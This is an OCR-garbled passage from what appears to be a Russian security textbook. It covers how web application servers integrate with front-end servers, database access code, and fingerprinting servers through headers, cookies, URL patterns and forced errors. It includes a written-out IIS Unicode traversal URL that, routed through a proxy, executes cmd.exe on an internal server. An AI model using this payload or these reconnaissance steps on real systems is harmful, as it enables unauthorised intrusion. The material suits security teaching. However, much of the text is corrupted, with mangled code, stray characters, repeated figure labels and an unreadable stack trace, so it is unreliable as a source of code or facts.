Второй метод заключается в разработке приложений с использованием библиотек API-функций Web-сервера. В таком случае приложение является надстройкой над внешним сервером и может иметь свой адрес URL, Серверы Apache, IIS и Netscape имеют библиотеки API-функций, которые можно подюгючать к разрабатываемому приложению. Так, большинство коммерческих серверных компонентов Web-приложений функционируют как динамические совместно используемые объекты DSO (Dynamic Shared Object) Apache, расширения Microsoft ISAPI или модули Netscape NSAP1. Эти компоненты обеспечивают более гибкую разработку приложений, нежели среда
внешнего Web-сервера. Например, сервер Java-приложений ServletExec, созданный компанией NewAtlanta Inc., функционирует как объект 勾ache DSO или как расширение Microsoft ISAPL Он позволяет подключать сервлеты Java, компоненты EJB и страницы JSP к оболочке выполнения программ J2EE. Работая как надстройка к серверу Apache или IIS, ServletExec расширяет их возможности, позволяя разработчикам подключать Java-приложения к обоим Web-серверам. Причем сервер приложения запускается в той же системе, что и Web-сервер, и находится под управлением его конфигурации.
НИРНИРТСР-портТСР-портСервер приложения на внешнем сервереСервер приложения на внешнем сервереСобственноеСобственноеприложениеприложениеСервер приложения на внешнемСервер приложения на внешнемСервербазы данныхСервербазы данных❷❷База данныхБаза данныхБаза данныхБаза данныхсервересервереооСервер приложения (с внутреннимСервер приложения (с внутренним
НИР
НИР
ТСР-порт
ТСР-порт
Сервер приложения на внешнем сервере
Сервер приложения на внешнем сервере
Собственное
Собственное
приложение
приложение
Сервер приложения на внешнем
Сервер приложения на внешнем
Сервербазы данных
Сервербазы данных
❷
❷
База данных
База данных
База данных
База данных
сервере
сервере
о
о
Сервер приложения (с внутренним
Сервер приложения (с внутренним
Рис. 6.2. Взаимодействие серверов Web-приложения
Отображение URL-адресов и внутреннее перенаправление
Третий способ взаимодействия сервера Web - приложения с внешним Web-сервером состоит в отображении URL-адресов и внутреннем перенаправлении информации. Этот метод не требует библиотек API-функций или надстроек. Наоборот, сервер Web- приложения функционирует как независимый HTTP-сервер, прослушивая ТСР-порт, не задействованный внешним Web-сервером. При этом внешний Web-сервер за счет специальной настройки отображает определенные URL-адреса на сервер Web- приложения, который работает с другим TCP-портом. Это обеспечивает более общий уровень взаимодействия, но несколько снижает производительность системы, по-
скольку внешний Web-сервер и сервер Web-приложения, в отличие от процедур, использующих API-функции, работают в пространстве различных процессов и обмен данными происходит посредством протокола HTTP.
Перенаправление к внутреннему серверу приложений
Четвертый способ состоит в запуске сервера Web - приложения на отдельной системе, которая доступна с внешнего сервера по IP-адресу внутренней сети. Причем доступ нельзя осуществить непосредственно из внешней сети, а только через внешний сервер. В этом случае для внутреннего сервера приложений он выступает ргоху- сервером, выполняющим преобразование URL. Предложенный метод является расширением предыдущего и позволяет серверам приложений, работающим с одним или несколькими внешними Web-серверами, подгружать различные компоненты приложения. Избыточность серверов (внешних и внутренних) позволяет повысить пропускную способность, масштабируемость и надежность.
Приведенные далее примеры демонстрируют разницу между различными способами взаимодействия компонентов Web - приложения.
Примеры
Взаимодействие сценариев РНРЗ с сервером Apache
В наши дни РНРЗ неразрывно связан с сервером Apache. Практически все Web- серверы Apache подцерживают приложения, написанные на PHP. Этот язык является независимой платформой и предоставляет мощный инструментарий для создания Web-приложений. В данном примере РНРЗ взаимодействует с Apache с помощью динамических совместно используемых объектов Apache DSO (Dynamic Shared Object). Код скомпилирован и скомпонован как модуль Apache под именем libphp3. so. Чтобы обеспечить возможность обработки файлов с расширением ・php3, в файл конфигурации Apache httpd. conf необходимо добавить следующие директивы:
LoadNodule Hbphp3.so
MdNodule nod рйрЗ.с
<IfModule nodj?hp3.c>
AddType application/x-httpd-php3 ・pbp3
</IfModule>
Модуль ServletExec как объект Apache DSO
Модуль ServletExec также может функционировать в качестве объекта DSO с Web- сервером Apache. Но при этом ServletExec необходимо запустить как независимый сервер, который будет прослушивать TCP-порты, не задействованные сервером Apache. Затем модуль mod servletexec.so нужно поместить в папку libexec корневого каталога Apache и прописать соответствующий путь в файле конфигурации httpd.conf.
LoadModule servletexec^Bodul® libexec/mod servletexec.so
Для возможности обработки сервером ServletExec файлов с расширением . jsp необходимо добавить следующие директивы:
<Location /servlet>
SetHandler servlet>exec
</Location>
AddHandler servlet-exec jsp
Эти строки позволяют серверу Servlet Exec автоматически обрабатывать формы с адресами http://wwv*sooeserver.cod/servlet/<имя_сермта> и http://www.someserver.com/ имя_(рай/1а Jsp.
Модуль ServletExec как ISAPI-расширение для Microsoft IIS
В операционной системе Microsoft Windows NT/2000 сервер Java-приложений ServletExec можно настроить как независимый Web-сервер или как ISAPI- расширение. При этом ServletExec записывает в папку \Inetpub\scripts динамически подключаемую библиотеку ServletExec Adapter. dll, которая доступна серверам приложений в качестве ISAPI-расширения. Сервер приложений ServletExec работает как служба Windows NT/2000.
Как показано на рис. 6.3, файл ServletExec Adapter.dll можно зарегистрировать во вкладке настройки 1SAPI-фильтров для служб сервера Microsoft IIS.
При такой настройке запрос, направленный серверу IIS и содержащий ссылку на сервлет Java или на файл с расширением . jep, будет обязательно перехвачен сервером ServletExec и обработан в его собственной среде выполнения. Такой способ конфигурации и взаимодействия аналогичен тому, который использовался при взаимодействии ServletExec с 库ache.
Рис. 6.3. Установка ServletExec как ISAPI-расширения
Взаимодействие серверов IIS и Domino с сервером Netscape Enterprise Server
Во время одной из атак мы случайно натолкнулись на приложение, изначально написанное и подключенное к серверу Lotus Domino, а затем интегрированное с другим приложением для IIS с помощью сценария ASP. Причем серверы IIS и Domino
находились на разных системах. Поскольку эти серверы не так-то легко интегрировать друг с другом, мы решили, что это можно осуществить лишь с помощью внешнего Web-сервера, в качестве которого использовался Netscape Enterprise Server. При таком построении Netscape Enterprise Server перенаправляет определенные URL- адреса серверам IIS и Domino, которые находятся во внутренней сети Web-сервера. На рис. 6.4 показана схема размещения и взаимодействия этих Web-систем. Сервер Netscape имеет внешний адрес 10.4.3.2 и подключен к внутренней сети с адресом 10.6.6.0. Вторичный адрес Nctscape — 10.6.6.6. Серверы IIS и Domino подключены по адресам 10・6・6・5н 10.6.6.4 соответственно. На рис. 6.5 показаны настройки внешнего сервера Netscape.
Рис. 6.4. ^ с^'пР^ожениепод управлением серверов IIS и Domino
По умолчанию URL-адрес http://10.4.3.2/ преобразуется в адрес http;//10.6.6.6/ URL-адреса http;//10.4.3.2/content, http://10.4.3.2/graph и http://10.4.3.2/ publish преобразуются в http://10.6.6.5/content, http://10.6.б.5/graph и http://10.6.6.5/ publish соответственно и обрабатываются сервером IIS. Остальные два адреса —— https//10.4.3.2/data и http://10.4.3.2/diagnoetics — трансформируются в http:// 10*6.6.4/data и http://10.6.6.4/diagnostic! и обрабатываются сервером Domino. Таким образом, Web-приложение в целом доступно через общий внешний Web-сервер, а е『° подкомпоненты обрабатываются внутренними серверами IIS и Domino. Так, например, запрос http;//10.4.3.2/content/new8_stories.asp?et"lidi8p® 10 будет преобразован в h"P:〃I。・6.6.5/8nt@nt/news stories.asMsE“Пу40 и отправлен как промежуточный НТТР-запгос по адресу 10.6.6.5. В свою очередь, URL-адрес http:// 10.4.3.2/data/results. nef будет трансформирован в http: //10. б. 6.4/date/results. nsf и передан как HTTP-запрос по адресу 10.6.6.4.
148
Коварнейшая атака
Весь доступ к Web-приложению осуществлялся через сервер Netscape Enterprise. Однако, проанализировав различные виды URL-адресов, мы легко выделили те части приложения, которые обрабатывались серверами IIS (очевидно из наличия ссылок на файлы с расширением .asp) и Domino (файлы с расширением .nsf). Запрос HEAD/HTTP/1.0 по адресу 10.4.3.2 позволил определить, что в качестве Web-сервера использовался Netscape Enterprise. Но все это не имело никакого смысла до тех пор, пока мы не поняли, что Netscape Enterprise использовался как proxy-сервер для перенаправления запросов внутренним серверам IIS и Domino.
Рис. 6.6. Unicode-атака по адресу 10.6.6.5 через сервер Netscape Enterprise
Атака на внутренний сервер IIS была быстрой и точной. Один-единственный URL-запрос позволял удаленно выполнять команды на сервере IIS по адресу 10.6.6.5, используя уязвимость кодировки Unicode сервера IIS.
http: //10.4.3.2/content/. J scripts/ ..UQtaf . ./vinnt/systeffl32/cnd.exe?/cfBet
На рис. 6.6 показано окно броузера после выполнения этого запроса.
Вам понятно, в чем состояла эта атака? Сервер Netscape был настроен преобразовывать любые URL-адреса, начинающиеся с /content/, в http://10.6.6.5/content/. Таким образом, получив первоначальный запрос, он преобразовал его в
http://10•6 ・ 6 ・ 5/contentZ•./scripts/..tcOlaf../vinnt/systen32/cad.exa?/c*iet
Затем этот URL-адрес передавался по внутренней сети как HTTP-запрос к серверу IIS по адресу 10.6.6.5. Получив этот запрос, сервер IIS из-за наличия символов **••” между фрагментами /content/ и /scripts/ преобразовал его в обычную атаку, связанную с уязвимостью кодировки Unicode:
http : //10.6 ・ 6 ♦ 5/Bcripts/ ..IcOlaf ../vinnt/sye tea3 2/and. exe?/c*set
В результате броузер отображал список команд, которые были запущены на сервере Windows 2000 по адресу 10.6.6.5, т.е. использование общего URL-адреса способствовало взлому сервера приложения во внутренней сети, несмотря на то что он был защищен брандмауэр ом и внешним Web-сервером.
Доступ к базам данных
Развитие приложений на платформе клиент/сервер способствовало повышению гибкости и стаццартизации доступа к базам данных. В 1970-х и начале 1980-х годов системы управления базами данных, или СУБД (database management system — DBMS), представляли собой огромные и монолитные ,,глыбып. Каждая такая система имела собственный язык программирования и формат файлов. Но с внедрением языка структурированных запросов SQL разработчики получили возможность стандартизовать процессы определения и обработки данных. Большинство администраторов баз данных одобрили SQL в качестве стандартного языка доступа к базам данных. Однако полная независимость приложения от базы данных стала возможна только с разработкой приложений на платформе кли- ент/сервер. Теперь приложение и СУБД не обязательно должны находиться в одной и той же системе. Доступ к базе данных можно осуществить с использованием API-функций языка программирования, на котором написано приложение. Эти функции подцерживают связь с базой данных и аутентификацию, позволяют отправлять SQL-запросы к базе данных, извлекать результаты запросов и отправлять их обратно приложению.
В данный момент наиболее популярными способами доступа к базам данных являются следующие:
использование собственных API-функций базы данных;
стандарт ODBC;
стандарт JDBC.
Использование собственных API-функций базы данных
Языки программирования Wcb-приложений PHP, ASP и Perl содержат библиотеки API - функций, которые обеспечивают доступ к таким наиболее известным серверам баз
данных, как Oracle, DB2, SQL Server, Sybase и MySQL. Все, что необходимо сделать разработчику, —вызвать нужные API-функции дая взаимодействия с базой данных. Рассмотрим несколько примеров, демонстрирующих использование API - функций.
Примеры
Доступ к SQL Server с помощью ASP
Приведенный фрагмент кода демонстрирует возможность выполнения запросов к серверу Microsoft SQL Server с помощью сценария ASP.
9
Set db^connect ion «Server. Crta UObject (* ADOOB. Comnct lonw) disconnection.Open *ProvidereSQLOLEDB;
Data Sourc#-192.168.7.246;
Initial Catalog^custonere;
User Id=dbuser;
Passvorda$ql*u$Er,v
Set record_setadb_connection.Execute(*select name, address from profiles") db connection.Close
Этот код практически не требует пояснений. Сначала инициализируется объект соединения с базой данных db connection, который впоследствии используется для установления соединения с сервером SQL Server по адресу 192.168.7.246. Затем выполняется SQL-запрос и соединение разрывается. Таким образом, API-функции подцер- живают объекты соединения дая обеспечения доступа к базам данных.
Доступ к Oracle с помощью сценария PHP
Следующий фрагмент кода, написанный на языке PHP, демонстрирует возможность использования интерфейса OCi (Oracle Connection Interface) для доступа к серверу баз данных Oracle.
<?php
PutEnv (4*ORACLE_SID«ORCL*);
PutEnv(-ORACLE^HOKE«/u01/app/oracle/product/8.1.5*);
SconMction^OCILogon (*scott#, #tiger*);
$queryatfinsert into email_info values ('Sfullnint'JHe<il')";
$cur sor "OCIPar “ ($conMCtionr $query);
Sresult-OCIExecute($cnrsor);
OCICooinit( $ connection);
OCILogoff($connection); ?>
Этот способ в той или иной степени аналогичен предыдущему.
Использование стандарта ODBC
Применение API-функций языка программирования для управления соединением с базой данных — метод достаточно обременительный. Иногда приложение должно взаимодействовать с различными базами данных или его необходимо перенести на платформу с другим языком программирования. В таких случаях использование API- функций затруднительно и доставляет много проблем. Для устранения этого недостатка был разработан стандарт открытого соединения с базами данных ODBC (Open Database
Connectivity), который обеспечивает универсальный метод доступа к базам данных. Теперь для установки связи с базой данных необходимо только подключить соответствующий ODBC-драйвер. При изменении базы данных нужно всего лишь подключить новый ODBC -драйвер. Какие-либо изменения в программном коде не требуются.
Стандарт ODBC подцерживается большинством современных операционных систем, в том числе и Microsoft Windows. Теперь компонент управления ODBC отвечает за хранение данных о соединении с базой данных и аутентификацию пользователей, что устраняет необходимость хранить данные о пользователе и соединении в коде приложения. Эта информация содержится в логическом имени источника данных DSN (data source name), к которому и обращается приложение.
На рис. 6.7 показано имя DSN sqlserverl, которое создано в результате подключения: к серверу баз данных SQL Server по адресу 192.168.7.246.
Рис. 6, 7. Конфигурация DSN
ИспользованиеJDBC
Стандарт JDBC (Java Database Connectivity) определяет контур Java-приложений, аналогичный ODBC. Единственное различие состоит в том, что JQBC интегрирован с контуром J2EE и используется исключительно для Web-приложений, написанных на Java. Наиболее известные серверы Java-приложений BEA WebLogic, IBM WebSphere, Allaire J run. Tomcat и Resin используют JDBC для связи с базами данных.
На рис. 6.8 показано окно настройки источника данных JDBC для доступа к базе данных MySQL с помощью сервера Java-приложений Allaire JRun 3.0.
Специализированные серверы Web-приложений
До сих пор речь шла об универсальных моделях Web-систем, используемых для разработки Web-приложений любого типа. Но в последнее время были разработаны специализированные серверы Web-приложений, которые призваны решать специфические задачи.
Если Web-приложения ранжировать по степени активности конечных пользователей, то узлы свежих новостей окажутся в конце списка, а электронные банковские системы — в начале.
Поэтому производители программного обеспечения разработали специализированные серверы приложений, которые должны удовлетворить многообразие потребностей. Например, сервер StoryServer от компании Vignette предназначен для управления содержимым и доставкой информации в Web, тогда как серверы n-commerce и Net.Data от IBM полезны для интерактивных приложений, связанных с финансовыми транзакциями, в частности lntcmet-магазинов.
Рассмотрим, как можно извлечь информацию о Web-приложении, анализируя URL-адреса. Этим завершается рассмотрение вопросов, начатое в главе 5.
Идентификация компонентов Web-приложения с помощью URL-адресов
Дцреса URL отражают различные функциональные свойства Web -приложений. Напомним, что URL-адрес является первичным средством взаимодействия броузера и Web-системы. Использование разных компонентов в Web - приложениях требует наличия характерных фрагментов в URL-адресах. Некоторые люди настолько наблюдательны, что в состоянии определить, из какой части света приехал человек, основываясь лишь на его внешности, языке, на котором он говорит, акценте и манерах поведения. Скажем, отличить жителя Нью-Йорка от коренного жителя Лондона достаточно просто. В то же время, чтобы отличить жителя Нью-Йорка от жителя Нью-Джерси, придется проявить гораздо больше наблюдательности.
Анализ URL-адресов Web -приложений тоже требует определенных навыков и опыта. Чем больше систем вы анализируете, тем лучшие навыки приобретаете. Технология идентификации URL-адресов — это искусство, которое может стать ценным средством для Web -хакеров.
Основы идентификации
Первый этап идентификации Web - приложения состоит в анализе НТТР-заголовка, возвращаемого Web-сервером. В большинстве случаев по нему можно определить используемый внешний Web-сер вер. Для получения HTTP-заголовка необходимо воспользоваться специальной утилитой, например Netcat. Заголовок сервера Apache выглядит примерно так:
I ПС www.example.com, 80
GET / HTTF/1.0
НТТР/1.1 200 OK
Date: Monr 04 Feb 2001 19:29:37 GMT
Server: Apache/1.3.6 (Unix)
Set-Cookie: Apache*192.168.51 «1.30В631012850977729; path»/; expires=Tue, 04-Feb-02 19:29:37 GMT Last-Modified: Mon, 10 Dec 2001 04:48:34 GMT
ETag: *94b5d-lef-3cl43ea2#
Kccept-Rangess bytes
Content-Length: 495
Connection: close
Content-Type: text/html
Поле Server HTTP-заголовка показывает, что используется сервер Apache 1.3.6, который поддерживает протокол SSL, модуль mod_perl и язык программирования PHP 4.0. Но не все Web-серверы так щедры на информацию об используемых технологиях. Например, сервер Apache можно настроить таким образом, что в НТТР- заголовке он будет выдавать только необходимый минимум информации.
I пс www.example. com 80
GET I ЭТТР/1.0
HTTP/1.1 200 OK
Date: Mon, 04 Feb 2001 19:29:37 GHT
Server: Apacbe/1.3.6 (Unix)
Connection: close
Content-Type: text/htirl
В этом случае ничего нельзя сказать о языках сценариев, которые используются в приложении. Для более точной идентификации необходимо использовать более тонкие отличительные особенности.
Поэтому следующим этапом усовершенствования знаний по методам идентификации является анализ различных элементов URL-адресов. В главе 5 была описана структура URL-адреса и роль каждого его элемента. Отправным пунктом в идентификации будет расширение запрашиваемого файла, по которому можно определить платформу сервера.
В приведенной ниже таблице представлены применяемые в URL-адресах расши-
рения файлов и соответствующие им платформы.
Расширение
Используемая технология
Платформа сервера
•pl
Perl CGI
Любая, но обычно Unix
•asp
Active Server Pages
Сервер Microsoft IIS
.aspx
ASP+
Сервер Microsoft NET
•Php
PHP
Любая, но обычно №Ь-сервер Apache
.cfm
ColdFusion
Любая, но обычно сервер Microsoft IIS
.nsf
Lotus Domino
Сервер Lotus Domino
Посколысу Web-серверы допускают очень гибкую настройку конфигурационных параметров, то тип файла можно скрыть, не давая возможности узнать информацию об используемых технологиях.
В этом случае дпя идентификации технологии потребуется настоящее искусство. Например, расширение файла . jsp не несет никакой информации о внешнем Web- сервере или Java-приложении. Дело в том, что все известные серверы Java- приложений соответствуют стандарту J2EE. Для более точного определения используемых технологий необходимо тщательно проанализировать URL-адреса, НТТР- заголовБси, а иногда даже HTML-код. Для лучшего понимания рассмотрим несколько примеров.
Примеры
URL-адрес:
http://wwwl.example.con/homepage.nsf? Open
Расширение файла .nsf указывает на то, что используется сервер Lotus Domino. Заголовок HTTP подтверждает эту гипотезу.
,nc wwl.cxample.com 80
GET / НТТР/1.0
HTTP/1.1 302 Found
Server: Lotus-Domino/5.0.5
Date: Non, 04 Feb 2001 17:52:59 GMT
Location: homepage.nsf?Open
Connection: close
Content-Type: text/html
Content-Length: 305
URL-адрес:
http://www2.example.com/software/buy.jhtml;jsessionid= ZYQFN5WHKORD5QFIAE0SFF GAVAAUIIVO
Заголовок HTTP-запроса указывает на использование сервера Microsoft-IIS/4.0. Однако мы знаем, что сервер IIS 4.0 сам не подцерживает обработку файлов .jhtml, которые, вообще говоря, являются HTML-страницами Java; т.е. совместно с севером IIS 4.0 функционирует сервер приложения. Строка ; jsessionid*xxxxx указывает на использование сервера приложений ATG Dynamo Application Server, с помощью которого в данном случае обрабатываются HTML-страницы Java и выполняются сервлеты Java. Официальный Web-узел компании ATG имеет схожий URL-адрес: http://www.atg.coin/en/index.jhtnil; jsessionid=lGA5Dl?QUNUS4CQCQBJCG1#QKAKAFUIVO?_request id=2331・
URL-адрес:
http://www3.example.com/cgi-bin/ncommerce3/ExecMacro/ webstore/home.d2w/report
Этот URL-адрес типичен для платформы электронной коммерции Net Data от IBM. Строки ncommerce и ЕхесМасго являются ключевыми для определения используемых технологий. Строка hose.d2w указывает на использование макросов, написанных на языке сценариев сервера Net. Data, a report ——на один из способов реализации этих макросов. Базовый внешний Web-сервер определяется из НТТР-заголовка.
URL-адрес:
http://www4.example.com/category.jsp?id=21& StoreSession= PClqNwwmOxqCFOWHZcYxZaZ211aYQEfOetnSjrYtrsxSClV7b|
3886513130244820/167838525/6/7001/7001/7002/7002/7001/-1
Этот пример особенный. Обрабатываемый файл имеет расширение .jsp, а базовый сервер Netscape Enterprise 4.1 можно определить из НТТР-заголовка. Однако вид URL- адреса не типичен для сервера Netscape Enterprise. Он больше похож на адрес, используемый сервером BEA WebLogic, идентификатор сеанса которого имеет следующий вид: Sessi.on-xxxxxxxxxxxxxxltlHH/HH/t/7001/7001/7002/7002/7001/f
Первая часть рассматриваемого идентификатора сеанса является буквенноцифровой строкой, за которой следует символ | и несколько чисел, разделенных символом /. Числа 7001 и 7002 соответствуют TCP-портам HTTP и SSL, которые используются сервером WebLogic для внутреннего взаимодействия с внешним Web-сервером. Если сервер WebLogic использует порты, отличные от 7001 и 7002, то они по-разному отображаются в URL-адресах, сгенерированных этим Web-узлом.
URL-адрес:
http://www5.example.com/site/index/0,10017,2578,00.html
Этот URL-адрес тоже особенный. Он заканчивается группой чисел, разделенных запятыми, а файл имеет расширение ・h52. Эта HTML-страница не является статической, поскольку в процессе путешествия по Web-узлу эти числа будут изменяться, а вид URL-адреса останется неизменным. Это свидетельствует о том, что содержимое страниц формируется динамически, а изменяющиеся числа соответствуют различным коллекциям и категориям содержимого. Таким образом, представленный в примере URL-адрес типичен для сервера Vignette Story Server, который обычно взаимодействует с такими внешними Web-серверами, как Netscape Enterprise и Microsoft IIS.
Если просмотреть HTML-код, формируемый сервером Vignette Story Sever, можно обнаружить HTML-комментарий, по которому легко определить вид и версию используемого сервера:
<!- Vignette V/5 Sat feb 02 05:07:43 2001 ->
Официальный Web-узел компании Vignette также использует сервер Vignette Story Server, а его URL-адрес подобен указанному в примере: http:/ /www.vignette.com/CDA/ Site/。,2097,1-1-1489-2890,g.htnl.
Дополнительные примеры
Предыдущие примеры дают некоторое представление о методах определения Web- сервера и используемых в приложении технологиях. Знакомясь с различными серверами Web-приложений, вы научитесь выделять URL-адреса, формируемые этими серверами. Однако в большинстве случаев методы идентификации не так просты, как в предыдущих примерах. Рассмотрим следующие URL-адреса:
http://vw6 ・ exanple. сош/ report ・ cgi?page« 3
http://www7.example.com/ui/Login.j sp
http://www8.example・ com/webapp/ucs/stores/servlet/Dieplay?storeld»10001&langId= -UcatalogId=1000UcategoryId«10052&clearance=0bcatTree=10052
https ://ww9, example. com/0A_BTML/store.jsp?section=10Upro<i_ees»j=4081:GueBt:US :jtfpfal5e:jtfpi・
1:671:504:75123"zve75123",zc«t-2ps504**zo«2*uns10Pzj=Guest*zie504
Первый URL-адрес кажется простым и указывает на использование сервера Apache и языка программирования Perl. Но в данном случае для точного определения признаков приложения наряду с анализом URL-адрес о в необходимо использовать и другие средства. Начнем с просмотра HTTP-заголовков каждого из представленных запросов.
URL-адрес:
http://www6.example.com/report.cgi?page=3
nc vww6. example. com 80
GET /report.cgi?page-3 HTTP/1.0
НТГР/1.1 200 OK
Server: Apache/1.3.6
Date: Non, 04 Feb 2001 19:19:58 GMT
Connection:Keep-Alive
Content-Length: 1270
Content-Type: text/html
Set-Cookie: ASPSESSIONIDGGQGGCVOKKLBFOFDIBOIPLBJEBBCnMB; path=/
Cache-contorl: private
При внимательном изучении HTTP-заголовка можно заметить признаки, указывающие на некорректность исходного предположения об использовании сервера Apache и языка программирования Perl. Действительно, поле cookie, возвращаемое данным сервером, указывает на сеанс Active Server Pages с именем ASPSESSIONIDGGQGGCVC и значением KELSFOFDIHOIPLHJEBEOJDME. Сервер Apache никогда не возвращает такое значение cookie. Из этого следует, что использование сервера IIS было скрыто простым изменением значения поля Server на Apache/1.3.6 и преобразованием расширения .asp в .cgi.
Таким образом, поле cookie представляет собой дополнительное средство для идентификации Web-сервера и сервера приложения!
URL-адрес:
http://www7.example.com/ui/Login.j8P
Этот URL-адрес является слишком общим для идентификации сервера Java- приложения, поэтому снова прибегнем к помощи HTTP-заголовка.
пс ww7.exaniple.coni 80
GET / ni/Sgin.jgp HTTP/1.0
НТТР/1.1 200 OK
Server: Netscape Enterprise/3.6 SP2
Date: Nonr 04 Feb 2001 19:26:16 GMT
Pragma: nocacbe
Content-Type: text/html
E^ires: 0
Set-Cookie: WebLogicSes-
slon=PF7gKP62dhQp0JaTDSJrhc5yBNVYGvyM2KlJd2prFc3Dc2Ct2|3563267?440752739/174330161/6/7001/7001/7 002/7002/7001/-1; path»/
Connection: close
И в этом случае помогут данные cookie. Строка WebLogicSession указывает на использование сервера BEA WebLogic, который взаимодействует с сервером Netscape Enterprise. Структура данных сеанса cookie сервера WebLogic аналогична структуре идентификатора сеанса WebLogic, который рассматривался в предыдущих примерах. В приведенной ниже таблице указаны известные типы данных cookie и соответствующие им серверы.
СерверCookie
ApacheАрасЬе=2О2.86.136Л 15.308631021850797729
IISASPSESSIONIDGGQGGCVC 二 KELHFOFDIHOIPLHJEBECNDME
ATG DynamoJSESSIONID=H4TQO^WDNZQFIAEOSFFOAVAAUIIVO
IBMNeLDataSESSION JD=307823,wFXBDMkjwgAnRyij*iK1fg87gsw8e/WDq2n4VZKc+UyjEZq
ColdFusionCFID=573208, CFTOKEN=86241965
Что касается примеров с адресами wvw8. example • com и www9 • example. сов, то по HTTP-заголовку об используемом сервере нельзя сказать ничего. Поэтому необходимо изысБсивать другие средства "давления” на серверы приложений, чтобы заставить их "раскрыться”.
Дополнительные методы идентификации
Если HTTP-заголовка, расширения файла, вида URL-адреса или данных cookie для идентификации технологии Web-сервера недостаточно, остается еще один способ: необходимо заставить приложение сгенерировать ошибку. При этом сообщение об ошибке может содержать не только информацию о сервере, но и о преобразовании физических адресов, ссылки на файлы и каталоги и даже SQL-запросы.
Чтобы вынудить приложение вьщать сообщение об ошибке, необходимо использовать один следующих методов:
усечение URL-адресов;
запрос на несуществующий файл;
изменение параметров запроса.
В двух приведенных далее примерах постараемся выяснить, каким образом можно использовать сообщения об ошибках для определения типа сервера приложения.
Примеры
URL-адрес:
http://www8.example.com/webapp/wcs/stores/servlet/Di spla y?storeld=10001&langld=-l&catalogld=10001scategoryld= 10052&clearance=0&catTree=10052
Вместо полного URL-адреса передадим усеченный: http : //w-8»example. con/webapp/ wcs/stores/. Вьщаваемое сообщение об ошибке показано на рис. 6.9.
Из него можно извлечь информацию о сервере, который используется по адресу wwwB.exanple.coni. Это WebSphere от компании IBM.
URL-адрес:
https://www9.example.com/OA_HTML/store.jsp?section=1014p rod_ses=j=4081:Guest:US:jtfpfalse:jtfpi-
1:671:504:75123~zv=75123~zc=t~zp=504~zo=2~zm=10厂zj=Gues t~zi=504
В этом случае внешним сервером является Apache. Разные сочетания усечений URL-адресов не приводят к желаемому результату. В окне броузера выводится лишь строка ошибки 404 File not found, которая ни о чем не говорит. Такая ошибка появляется в тех случаях, когда внешний Web-сервер не может найти указанный путь. Следовательно, необходимо передать такой URL-адрес, чтобы ошибка была сгенерирована сервером приложения, а не самим внешним Web-сервером.
Давайте вспомним способы взаимодействия сервера приложений с внешним сервером, которые были рассмотрены в данной главе. Анализируя предложенный пример, приходим к выводу о том, что внешний Web-сервер используется для преобразования URL-адресов и перенаправления файлов с расширением . jsp для их последующей обработки. Другими словами, если передать запрос на несуществующий файл.
.
скажем х. jsp, то можно обойти внешний Web-сервер, поскольку все файлы . jsp обрабатываются сервером приложений. Получив такой запрос, сервер приложения вьщаст сообщение об ошибке (рис. 6.10).
An eiwr has occiirrectAn eiwr has occiirrect)avax.>ervhtkttp Sl^Sen6et.»ervu:e(HttpS«rHet java.74C)・jMwxtertethflpBiipSmlK жта(Шр$«МвМт(Саафй4 Code)) atcom Ама soviet engine webapp ShrKtSwiecbtftMce. 4oSerw«(ScnletitfMe0tr >*а(СмцрМ CXe)) atcem dbm »erH*t en0M vebapp SvxxbfecycleServkt tenrx«(SenciIjfec7cteSenrteLjaT*;C</j Code» atcomibaiiawlet ец^пе. *ebapf>.SewciqgServlcl5Me ienKe(SlnctU&cycleSen4et ^яп(Рс^^ Code» atcoe to serHet axgmc webipp StnctLifecycfeS«nrfct «ervicefSektUfecyckSerHct jm(Ca》 Cwie)) atVcom 加n ,Eet engee webappSetrMednAantesemce(ServietManagerjsva(C<Mnptied/Codt)).jcom-ibcn xrviet кзфш .webapf>. V abdSerrietRefweDceState. dupatch(Sen<iKM*Meer j*v*lCZ)avax.>ervhtkttp Sl^Sen6et.»ervu:e(HttpS«rHet java.74C)・jMwxtertethflpBiipSmlK жта(Шр$«МвМт(Саафй4 Code)) atcom Ама soviet engine webapp ShrKtSwiecbtftMce. 4oSerw«(ScnletitfMe0tr >*а(СмцрМ CXe)) atcem dbm »erH*t en0M vebapp SvxxbfecycleServkt tenrx«(SenciIjfec7cteSenrteLjaT*;C</j Code» atcomibaiiawlet ец^пе. *ebapf>.SewciqgServlcl5Me ienKe(SlnctU&cycleSen4et ^яп(Рс^^ Code» atcoe to serHet axgmc webipp StnctLifecycfeS«nrfct «ervicefSektUfecyckSerHct jm(Ca》 Cwie)) atVcom 加n ,Eet engee webappSetrMednAantesemce(ServietManagerjsva(C<Mnptied/Codt)).jcom-ibcn xrviet кзфш .webapf>. V abdSerrietRefweDceState. dupatch(Sen<iKM*Meer j*v*lCZ
An eiwr has occiirrect
An eiwr has occiirrect
)avax.>ervhtkttp Sl^Sen6et.»ervu:e(HttpS«rHet java.74C)・
jMwxtertethflpBiipSmlK жта(Шр$«МвМт(Саафй4 Code)) at
com Ама soviet engine webapp ShrKtSwiecbtftMce. 4oSerw«(ScnletitfMe0tr >*а(СмцрМ CXe)) at
cem dbm »erH*t en0M vebapp SvxxbfecycleServkt tenrx«(SenciIjfec7cteSenrteLjaT*;C</j Code» at
comibaiiawlet ец^пе. *ebapf>.SewciqgServlcl5Me ienKe(SlnctU&cycleSen4et ^яп(Рс^^ Code» at
coe to serHet axgmc webipp StnctLifecycfeS«nrfct «ervicefSektUfecyckSerHct jm(Ca》 Cwie)) atV
com 加n ,Eet engee webappSetrMednAantesemce(ServietManagerjsva(C<Mnptied/
Codt)).j
com-ibcn xrviet кзфш .webapf>. V abdSerrietRefweDceState. dupatch(Sen<iKM*Meer j*v*lCZ
)avax.>ervhtkttp Sl^Sen6et.»ervu:e(HttpS«rHet java.74C)・
jMwxtertethflpBiipSmlK жта(Шр$«МвМт(Саафй4 Code)) at
com Ама soviet engine webapp ShrKtSwiecbtftMce. 4oSerw«(ScnletitfMe0tr >*а(СмцрМ CXe)) at
cem dbm »erH*t en0M vebapp SvxxbfecycleServkt tenrx«(SenciIjfec7cteSenrteLjaT*;C</j Code» at
comibaiiawlet ец^пе. *ebapf>.SewciqgServlcl5Me ienKe(SlnctU&cycleSen4et ^яп(Рс^^ Code» at
coe to serHet axgmc webipp StnctLifecycfeS«nrfct «ervicefSektUfecyckSerHct jm(Ca》 Cwie)) atV
com 加n ,Eet engee webappSetrMednAantesemce(ServietManagerjsva(C<Mnptied/
Codt)).j
com-ibcn xrviet кзфш .webapf>. V abdSerrietRefweDceState. dupatch(Sen<iKM*Meer j*v*lCZ
